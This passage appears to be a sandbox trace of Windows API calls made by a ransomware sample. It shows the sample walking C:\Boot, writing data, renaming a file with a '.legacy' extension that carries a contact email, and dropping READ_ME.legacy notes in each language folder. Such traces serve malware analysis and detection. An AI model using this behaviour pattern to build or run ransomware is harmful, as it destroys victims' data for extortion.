pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x557758*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0082.148] WriteFile (in: hFile=0x454, lpBuffer=0x557758*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x557758*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0082.149] WriteFile (in: hFile=0x454, lpBuffer=0x54d1c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d1c0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0082.149] CloseHandle (hObject=0x454) returned 1 [0082.152] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x557758 | out: hHeap=0x520000) returned 1 [0082.152] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d1c0 | out: hHeap=0x520000) returned 1 [0082.152] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\DHtmlHeader.html" (normalized: "c:\\588bce7c90097ed212\\dhtmlheader.html"), lpNewFileName="\\588bce7c90097ed212\\DHtmlHeader.html.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\588bce7c90097ed212\\dhtmlheader.html.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0082.154] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5519c8 | out: hHeap=0x520000) returned 1 [0082.154] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d818 | out: hHeap=0x520000) returned 1 [0082.154] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d7c0 | out: hHeap=0x520000) returned 1 [0082.154] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55aa60 | out: hHeap=0x520000) returned 1 [0082.154] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571b08 | out: hHeap=0x520000) returned 1 [0082.154] FindFirstFileW (in: lpFileName="\\Boot\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef9d311c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xb83c8cd5, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x552de0 [0082.155] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559e20 | out: hHeap=0x520000) returned 1 [0082.155] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578770 [0082.155] GetLastError () returned 0x0 [0082.155] SetLastError (dwErrCode=0x0) [0082.155] GetLastError () returned 0x0 [0082.155] SetLastError (dwErrCode=0x0) [0082.155] GetLastError () returned 0x0 [0082.155] SetLastError (dwErrCode=0x0) [0082.155] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x55aa60 [0082.155] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d978 [0082.155] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d978 | out: hHeap=0x520000) returned 1 [0082.155] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d2a8 [0082.155] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x552b60 [0082.155] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x552b60 | out: hHeap=0x520000) returned 1 [0082.155] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e200f0 [0082.155] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e200f0 | out: hHeap=0x520000) returned 1 [0082.155] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d2a8 | out: hHeap=0x520000) returned 1 [0082.155] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55aa60 | out: hHeap=0x520000) returned 1 [0082.155] FindNextFileW (in: hFindFile=0x552de0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef9d311c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xb83c8cd5, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0082.156] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578770 | out: hHeap=0x520000) returned 1 [0082.156] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578698 [0082.156] GetLastError () returned 0x0 [0082.156] SetLastError (dwErrCode=0x0) [0082.156] GetLastError () returned 0x0 [0082.156] SetLastError (dwErrCode=0x0) [0082.156] GetLastError () returned 0x0 [0082.156] SetLastError (dwErrCode=0x0) [0082.156] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x55aad0 [0082.156] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d298 [0082.156] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d298 | out: hHeap=0x520000) returned 1 [0082.156] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d190 [0082.156] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x553060 [0082.156] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553060 | out: hHeap=0x520000) returned 1 [0082.157] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20258 [0082.157] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20258 | out: hHeap=0x520000) returned 1 [0082.157] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d190 | out: hHeap=0x520000) returned 1 [0082.157] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55aad0 | out: hHeap=0x520000) returned 1 [0082.157] FindNextFileW (in: hFindFile=0x552de0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xac3efa99, ftLastAccessTime.dwHighDateTime=0x1d4d5d3, ftLastWriteTime.dwLowDateTime=0xac3efa99, ftLastWriteTime.dwHighDateTime=0x1d4d5d3, nFileSizeHigh=0x0, nFileSizeLow=0xb000, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="BCD", cAlternateFileName="")) returned 1 [0082.157] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578698 | out: hHeap=0x520000) returned 1 [0082.157] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578140 [0082.157] GetLastError () returned 0x0 [0082.157] SetLastError (dwErrCode=0x0) [0082.157] GetLastError () returned 0x0 [0082.157] SetLastError (dwErrCode=0x0) [0082.157] GetLastError () returned 0x0 [0082.157] SetLastError (dwErrCode=0x0) [0082.157] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d190 [0082.157] FindNextFileW (in: hFindFile=0x552de0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4c800b6, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4c800b6, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="BCD.LOG", cAlternateFileName="")) returned 1 [0082.158] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578140 | out: hHeap=0x520000) returned 1 [0082.158] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578140 [0082.158] GetLastError () returned 0x0 [0082.158] SetLastError (dwErrCode=0x0) [0082.158] GetLastError () returned 0x0 [0082.158] SetLastError (dwErrCode=0x0) [0082.158] GetLastError () returned 0x0 [0082.158] SetLastError (dwErrCode=0x0) [0082.158] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d1b8 [0082.158] FindNextFileW (in: hFindFile=0x552de0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4c800b6, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4c800b6, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="BCD.LOG1", cAlternateFileName="BCD~1.LOG")) returned 1 [0082.158] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578140 | out: hHeap=0x520000) returned 1 [0082.158] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578140 [0082.158] GetLastError () returned 0x0 [0082.158] SetLastError (dwErrCode=0x0) [0082.158] GetLastError () returned 0x0 [0082.158] SetLastError (dwErrCode=0x0) [0082.159] GetLastError () returned 0x0 [0082.159] SetLastError (dwErrCode=0x0) [0082.159] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d370 [0082.159] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d370 | out: hHeap=0x520000) returned 1 [0082.159] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d410 [0082.159] FindNextFileW (in: hFindFile=0x552de0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4c800b6, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4c800b6, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="BCD.LOG2", cAlternateFileName="BCD~2.LOG")) returned 1 [0082.159] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578140 | out: hHeap=0x520000) returned 1 [0082.159] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578698 [0082.159] GetLastError () returned 0x0 [0082.159] SetLastError (dwErrCode=0x0) [0082.159] GetLastError () returned 0x0 [0082.159] SetLastError (dwErrCode=0x0) [0082.159] GetLastError () returned 0x0 [0082.159] SetLastError (dwErrCode=0x0) [0082.159] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d1e0 [0082.159] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d1e0 | out: hHeap=0x520000) returned 1 [0082.159] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d1e0 [0082.159] FindNextFileW (in: hFindFile=0x552de0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc47bb525, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="bg-BG", cAlternateFileName="")) returned 1 [0082.159] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578698 | out: hHeap=0x520000) returned 1 [0082.159] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578770 [0082.159] GetLastError () returned 0x0 [0082.159] SetLastError (dwErrCode=0x0) [0082.159] GetLastError () returned 0x0 [0082.159] SetLastError (dwErrCode=0x0) [0082.160] GetLastError () returned 0x0 [0082.160] SetLastError (dwErrCode=0x0) [0082.160] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d208 [0082.160] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d2a8 [0082.160] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d2d0 [0082.160] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d110 [0082.160] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d190 [0082.160] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578140 [0082.160] GetLastError () returned 0x0 [0082.160] SetLastError (dwErrCode=0x0) [0082.160] GetLastError () returned 0x0 [0082.160] SetLastError (dwErrCode=0x0) [0082.160] GetLastError () returned 0x0 [0082.160] SetLastError (dwErrCode=0x0) [0082.160] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578698 [0082.160] CreateFileW (lpFileName="\\Boot\\bg-BG\\READ_ME.legacy" (normalized: "c:\\boot\\bg-bg\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x458 [0082.169] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578698 | out: hHeap=0x520000) returned 1 [0082.169] WriteFile (in: hFile=0x458, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0082.170] CloseHandle (hObject=0x458) returned 1 [0082.171] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578140 | out: hHeap=0x520000) returned 1 [0082.171] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d190 | out: hHeap=0x520000) returned 1 [0082.171] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d110 | out: hHeap=0x520000) returned 1 [0082.171] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d2d0 | out: hHeap=0x520000) returned 1 [0082.171] FindNextFileW (in: hFindFile=0x552de0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef4e6d79, ftCreationTime.dwHighDateTime=0x1d3273d, ftLastAccessTime.dwLowDateTime=0xef4e6d79, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2d79a60, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x175a0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="bootspaces.dll", cAlternateFileName="BOOTSP~1.DLL")) returned 1 [0082.171] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578770 | out: hHeap=0x520000) returned 1 [0082.171] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578698 [0082.171] GetLastError () returned 0x0 [0082.171] SetLastError (dwErrCode=0x0) [0082.171] GetLastError () returned 0x0 [0082.171] SetLastError (dwErrCode=0x0) [0082.171] GetLastError () returned 0x0 [0082.171] SetLastError (dwErrCode=0x0) [0082.171] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d3c0 [0082.171] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d3c0 | out: hHeap=0x520000) returned 1 [0082.172] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x55aad0 [0082.172] FindNextFileW (in: hFindFile=0x552de0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc498516b, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xef703e94, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="BOOTSTAT.DAT", cAlternateFileName="")) returned 1 [0082.172] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578698 | out: hHeap=0x520000) returned 1 [0082.172] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578698 [0082.172] GetLastError () returned 0x0 [0082.172] SetLastError (dwErrCode=0x0) [0082.172] GetLastError () returned 0x0 [0082.172] SetLastError (dwErrCode=0x0) [0082.172] GetLastError () returned 0x0 [0082.172] SetLastError (dwErrCode=0x0) [0082.172] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d2d0 [0082.172] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d2d0 | out: hHeap=0x520000) returned 1 [0082.172] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x55aa60 [0082.172] FindNextFileW (in: hFindFile=0x552de0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef4fcd12, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2d79a60, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x185a0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="bootvhd.dll", cAlternateFileName="")) returned 1 [0082.172] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578698 | out: hHeap=0x520000) returned 1 [0082.172] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578698 [0082.172] GetLastError () returned 0x0 [0082.173] SetLastError (dwErrCode=0x0) [0082.173] GetLastError () returned 0x0 [0082.173] SetLastError (dwErrCode=0x0) [0082.173] GetLastError () returned 0x0 [0082.173] SetLastError (dwErrCode=0x0) [0082.173] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d460 [0082.173] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d460 | out: hHeap=0x520000) returned 1 [0082.173] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574860 [0082.173] FindNextFileW (in: hFindFile=0x552de0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef511a4c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="cs-CZ", cAlternateFileName="")) returned 1 [0082.173] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578698 | out: hHeap=0x520000) returned 1 [0082.173] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578140 [0082.173] GetLastError () returned 0x0 [0082.173] SetLastError (dwErrCode=0x0) [0082.173] GetLastError () returned 0x0 [0082.173] SetLastError (dwErrCode=0x0) [0082.173] GetLastError () returned 0x0 [0082.173] SetLastError (dwErrCode=0x0) [0082.173] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d2d0 [0082.173] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d460 [0082.174] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d2f8 [0082.174] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d140 [0082.174] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d190 [0082.174] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578698 [0082.174] GetLastError () returned 0x0 [0082.174] SetLastError (dwErrCode=0x0) [0082.174] GetLastError () returned 0x0 [0082.174] SetLastError (dwErrCode=0x0) [0082.174] GetLastError () returned 0x0 [0082.174] SetLastError (dwErrCode=0x0) [0082.174] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578770 [0082.174] CreateFileW (lpFileName="\\Boot\\cs-CZ\\READ_ME.legacy" (normalized: "c:\\boot\\cs-cz\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x458 [0082.175] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578770 | out: hHeap=0x520000) returned 1 [0082.175] WriteFile (in: hFile=0x458, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0082.177] CloseHandle (hObject=0x458) returned 1 [0082.177] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578698 | out: hHeap=0x520000) returned 1 [0082.177] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d190 | out: hHeap=0x520000) returned 1 [0082.177] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d140 | out: hHeap=0x520000) returned 1 [0082.177] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d2f8 | out: hHeap=0x520000) returned 1 [0082.177] FindNextFileW (in: hFindFile=0x552de0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0008dbb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5252b3, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="da-DK", cAlternateFileName="")) returned 1 [0082.177] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578140 | out: hHeap=0x520000) returned 1 [0082.177] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578140 [0082.177] GetLastError () returned 0x0 [0082.177] SetLastError (dwErrCode=0x0) [0082.177] GetLastError () returned 0x0 [0082.177] SetLastError (dwErrCode=0x0) [0082.177] GetLastError () returned 0x0 [0082.178] SetLastError (dwErrCode=0x0) [0082.178] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d488 [0082.178] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d2f8 [0082.178] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d370 [0082.178] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d240 [0082.178] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d1d0 [0082.178] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578698 [0082.178] GetLastError () returned 0x0 [0082.178] SetLastError (dwErrCode=0x0) [0082.178] GetLastError () returned 0x0 [0082.178] SetLastError (dwErrCode=0x0) [0082.178] GetLastError () returned 0x0 [0082.178] SetLastError (dwErrCode=0x0) [0082.178] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578770 [0082.179] CreateFileW (lpFileName="\\Boot\\da-DK\\READ_ME.legacy" (normalized: "c:\\boot\\da-dk\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x458 [0082.180] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578770 | out: hHeap=0x520000) returned 1 [0082.180] WriteFile (in: hFile=0x458, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0082.181] CloseHandle (hObject=0x458) returned 1 [0082.181] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578698 | out: hHeap=0x520000) returned 1 [0082.181] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d1d0 | out: hHeap=0x520000) returned 1 [0082.181] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d240 | out: hHeap=0x520000) returned 1 [0082.181] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d370 | out: hHeap=0x520000) returned 1 [0082.181] FindNextFileW (in: hFindFile=0x552de0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0009692, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef538bee, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="de-DE", cAlternateFileName="")) returned 1 [0082.181] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578140 | out: hHeap=0x520000) returned 1 [0082.181] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578698 [0082.181] GetLastError () returned 0x0 [0082.181] SetLastError (dwErrCode=0x0) [0082.182] GetLastError () returned 0x0 [0082.182] SetLastError (dwErrCode=0x0) [0082.182] GetLastError () returned 0x0 [0082.182] SetLastError (dwErrCode=0x0) [0082.182] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d370 [0082.182] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d398 [0082.182] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d3c0 [0082.182] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d190 [0082.182] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d1c0 [0082.182] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578770 [0082.182] GetLastError () returned 0x0 [0082.182] SetLastError (dwErrCode=0x0) [0082.182] GetLastError () returned 0x0 [0082.182] SetLastError (dwErrCode=0x0) [0082.182] GetLastError () returned 0x0 [0082.182] SetLastError (dwErrCode=0x0) [0082.183] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578140 [0082.183] CreateFileW (lpFileName="\\Boot\\de-DE\\READ_ME.legacy" (normalized: "c:\\boot\\de-de\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x458 [0082.183] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578140 | out: hHeap=0x520000) returned 1 [0082.183] WriteFile (in: hFile=0x458, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0082.184] CloseHandle (hObject=0x458) returned 1 [0082.184] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578770 | out: hHeap=0x520000) returned 1 [0082.184] HeapFree (in: hHeap=0x520000, dwFlags=0x0, 